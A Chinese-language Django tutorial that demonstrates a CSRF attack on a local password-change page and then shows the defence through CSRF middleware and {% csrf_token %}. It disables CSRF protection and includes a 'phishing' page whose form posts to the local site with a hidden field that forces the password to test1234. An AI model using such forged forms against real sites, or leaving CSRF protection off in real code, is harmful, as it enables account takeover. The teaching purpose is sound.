CSRF 攻击:
把 settings.py 中的 csrf 注释掉
正规网站:
创建修改密码页面 password.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>修改密码</title>
</head>
<body>
<p>正规网站 - 修改密码页面</p>
<form action="/change_password/" method="post">
<p>
用户名:
<input type="text" name="username">
</p>
<p>
密码:
<input type="text" name="password">
</p>
<input type="submit" value="提交">
</form>
</body>
</html>
urls.py 中的对应关系:
from django.conf.urls import url
from app01 import views
urlpatterns = [
url(r'^change_password/', views.change_password),
]
views.py:
from django.shortcuts import render, HttpResponse
def change_password(request):
if request.method == "POST":
username = request.POST.get("username")
password = request.POST.get("password")
print("用户 {} 把密码修改为:{}".format(username, password))
return HttpResponse("密码修改成功!")
return render(request, "password.html")
访问页面:
点击 “提交”
钓鱼网站:
password.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>修改密码</title>
</head>
<body>
<p>钓鱼网站 - 修改密码页面</p>
<form action="http://127.0.0.1:8000/change_password/" method="post">
<p>
用户名:
<input type="text" name="username">
</p>
<p>
密码:
<input type="text" name="password">
<input type="text" name="password" value="test1234" style="display: none">
</p>
<input type="submit" value="提交">
</form>
</body>
</html>
这里用隐藏的 password 把密码修改成指定的 test1234
urls.py:
from django.conf.urls import url
from app01 import views
urlpatterns = [
url(r'^change_password/', views.change_password),
]
views.py:
from django.shortcuts import render
def change_password(request):
return render(request, "password.html")
访问页面:
点击 “提交”
跳转到:http://127.0.0.1:8000/change_password/,并显示修改成功
密码被修改为 test1234,而不是 111111
CSRF 防护:
将 settings.py 中的注释取消
此时钓鱼页面再发送请求的话就会不受理
也可以更保险一点:
修改正规网站的 password.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>修改密码</title>
</head>
<body>
<p>正规网站 - 修改密码页面</p>
<form action="/change_password/" method="post">
{% csrf_token %}
<p>
用户名:
<input type="text" name="username">
</p>
<p>
密码:
<input type="text" name="password">
</p>
<input type="submit" value="提交">
</form>
</body>
</html>
在 form 表单中添加了一条 {% csrf_token %}
访问该 url:
添加了隐藏的 csrf 内容校验,每次的值都会不同